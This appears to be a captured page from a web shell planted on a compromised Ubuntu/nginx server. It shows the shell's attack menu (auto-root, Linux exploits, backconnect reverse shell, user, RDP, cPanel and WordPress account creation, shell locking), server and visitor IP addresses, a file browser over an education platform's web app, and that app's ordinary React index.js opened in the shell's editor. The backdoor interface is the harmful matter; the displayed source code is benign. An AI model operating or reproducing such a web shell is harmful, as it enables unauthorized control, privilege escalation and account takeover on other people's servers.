Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
edu-lms /
app /
edusewa /
[ HOME SHELL ]
Name
Size
Permission
Action
__tests__
[ DIR ]
drwxr-xr-x
actions
[ DIR ]
drwxr-xr-x
components
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
reducers
[ DIR ]
drwxr-xr-x
translations
[ DIR ]
drwxr-xr-x
Logger.js
768
B
-rw-r--r--
RoomClient.js
86.54
KB
-rw-r--r--
RoomContext.js
335
B
-rw-r--r--
ScreenShare.js
4.17
KB
-rw-r--r--
Spotlights.js
3.91
KB
-rw-r--r--
deviceInfo.js
811
B
-rw-r--r--
electron-starter.js
885
B
-rw-r--r--
electron-wait-react.js
774
B
-rw-r--r--
index.css
822
B
-rw-r--r--
index.js
7.68
KB
-rw-r--r--
permissions.js
1.08
KB
-rw-r--r--
serviceWorker.js
2.04
KB
-rw-r--r--
store.js
1.33
KB
-rw-r--r--
urlFactory.js
381
B
-rw-r--r--
utils.js
712
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
import domready from 'domready'; import React, { Suspense } from 'react'; import { render } from 'react-dom'; import { Provider } from 'react-redux'; import isElectron from 'is-electron'; import { createIntl, createIntlCache, RawIntlProvider } from 'react-intl'; import { Route, HashRouter, BrowserRouter } from 'react-router-dom'; import randomString from 'random-string'; import Logger from './Logger'; import debug from 'debug'; import RoomClient from './RoomClient'; import RoomContext from './RoomContext'; import deviceInfo from './deviceInfo'; import * as meActions from './actions/meActions'; import UnsupportedBrowser from './components/UnsupportedBrowser'; import ChooseRoom from './components/ChooseRoom'; import LoadingView from './components/LoadingView'; import { MuiThemeProvider, createMuiTheme } from '@material-ui/core/styles'; import { PersistGate } from 'redux-persist/lib/integration/react'; import { persistor, store } from './store'; import { SnackbarProvider } from 'notistack'; import * as serviceWorker from './serviceWorker'; import { ReactLazyPreload } from './components/ReactLazyPreload'; import { detectDevice } from 'mediasoup-client'; // import messagesEnglish from './translations/en'; import messagesNorwegian from './translations/nb.json'; import messagesGerman from './translations/de.json'; import messagesHungarian from './translations/hu.json'; import messagesPolish from './translations/pl.json'; import messagesDanish from './translations/dk.json'; import messagesFrench from './translations/fr.json'; import messagesGreek from './translations/el.json'; import messagesRomanian from './translations/ro.json'; import messagesPortuguese from './translations/pt.json'; import messagesChineseSimplified from './translations/cn.json'; import messagesChineseTraditional from './translations/tw.json'; import messagesSpanish from './translations/es.json'; import messagesCroatian from './translations/hr.json'; import messagesCzech from './translations/cs.json'; import messagesItalian from './translations/it.json'; import messagesUkrainian from './translations/uk.json'; import messagesTurkish from './translations/tr.json'; import messagesLatvian from './translations/lv.json'; import messagesHindi from './translations/hi.json'; import messagesRussian from './translations/ru.json'; import messagesKazakh from './translations/kk.json'; import { connect } from 'react-redux'; import './index.css'; const App = ReactLazyPreload(() => import(/* webpackChunkName: "app" */ './components/App')); const cache = createIntlCache(); const messages = { // 'en' : messagesEnglish, 'nb' : messagesNorwegian, 'de' : messagesGerman, 'hu' : messagesHungarian, 'pl' : messagesPolish, 'dk' : messagesDanish, 'fr' : messagesFrench, 'el' : messagesGreek, 'ro' : messagesRomanian, 'pt' : messagesPortuguese, 'zh-hans' : messagesChineseSimplified, 'zh-hant' : messagesChineseTraditional, 'es' : messagesSpanish, 'hr' : messagesCroatian, 'cs' : messagesCzech, 'it' : messagesItalian, 'uk' : messagesUkrainian, 'tr' : messagesTurkish, 'lv' : messagesLatvian, 'hi' : messagesHindi, 'ru' : messagesRussian, 'kk' : messagesKazakh }; const supportedBrowsers={ 'windows' : { 'internet explorer' : '>12', 'microsoft edge' : '>18' }, 'safari' : '>12', 'firefox' : '>=60', 'chrome' : '>=74', 'chromium' : '>=74', 'opera' : '>=62', 'samsung internet for android' : '>=11.1.1.52' }; const browserLanguage = (navigator.language || navigator.browserLanguage).toLowerCase(); let locale = browserLanguage.split(/[-_]/)[0]; // language without region code if (locale === 'zh') { if (browserLanguage === 'zh-cn') locale = 'zh-hans'; else locale = 'zh-hant'; } const intl = createIntl({ locale, messages : messages[locale] }, cache); document.documentElement.lang = locale; if (process.env.REACT_APP_DEBUG === '*' || process.env.NODE_ENV !== 'production') { debug.enable('* -engine* -socket* -RIE* *WARN* *ERROR*'); } const logger = new Logger(); let roomClient; RoomClient.init({ store, intl }); const theme = createMuiTheme(window.config.theme); let Router; if (isElectron()) Router = HashRouter; else Router = BrowserRouter; domready(() => { logger.debug('DOM ready'); // run(); }); const EduSewaApp = (props) => { const { logged_user: {full_name, role} } = props.authInfo logger.debug('run() [environment:%s]', process.env.NODE_ENV); const peerId = randomString({ length: 8 }).toLowerCase(); const urlParser = new URL(window.location); const parameters = urlParser.searchParams; const accessCode = parameters.get('code'); const produce = parameters.get('produce') !== 'false'; const forceTcp = parameters.get('forceTcp') === 'true'; // const displayName = parameters.get('displayName'); const muted = parameters.get('muted') === 'true'; const displayName = full_name || parameters.get('name') const userRole = (role && role[0]) || parameters.get('role') && parameters.get('role') var initialRole = null if (userRole.toLowerCase() === 'student') initialRole = null else if (userRole.toLowerCase() === 'teacher') initialRole = 'PRESENTER' else initialRole = null console.log(initialRole) const { pathname } = window.location; let basePath = pathname.substring(0, pathname.lastIndexOf('/')); if (!basePath) basePath = '/'; // Get current device. const device = deviceInfo(); let unsupportedBrowser = false; let webrtcUnavailable = false; if (detectDevice() === undefined) { logger.error('Your browser is not supported [deviceInfo:"%o"]', device); unsupportedBrowser = true; } else if ( navigator.mediaDevices === undefined || navigator.mediaDevices.getUserMedia === undefined || window.RTCPeerConnection === undefined ) { logger.error('Your browser is not supported [deviceInfo:"%o"]', device); webrtcUnavailable = true; } else if ( !device.bowser.satisfies( window.config.supportedBrowsers || supportedBrowsers ) ) { logger.error( 'Your browser is not supported [deviceInfo:"%o"]', device ); unsupportedBrowser = true; } else { logger.debug('Your browser is supported [deviceInfo:"%o"]', device); } if (unsupportedBrowser || webrtcUnavailable) { return( <MuiThemeProvider theme={theme}> <RawIntlProvider value={intl}> <UnsupportedBrowser webrtcUnavailable={webrtcUnavailable} platform={device.platform} /> </RawIntlProvider> </MuiThemeProvider> ); return; } store.dispatch( meActions.setMe({ peerId, loginEnabled : window.config.loginEnabled, isPresenter: Boolean(initialRole === 'PRESENTER') }) ); roomClient = new RoomClient( { peerId, accessCode, device, produce, forceTcp, displayName, muted, basePath, initialRole, }); global.CLIENT = roomClient; return( <Provider store={store}> <MuiThemeProvider theme={theme}> <RawIntlProvider value={intl}> <PersistGate loading={<LoadingView />} persistor={persistor}> <RoomContext.Provider value={roomClient}> <SnackbarProvider> <Router basename={basePath}> <Suspense fallback={<LoadingView />}> <React.Fragment> {/* <Route exact path='/' component={ChooseRoom} /> */} <Route path='/:room' component={App} /> </React.Fragment> </Suspense> </Router> </SnackbarProvider> </RoomContext.Provider> </PersistGate> </RawIntlProvider> </MuiThemeProvider> </Provider> ) } const mapStateToProps = (state) => ({ authInfo: state.auth, }); export default connect(mapStateToProps)(EduSewaApp); serviceWorker.unregister();
Close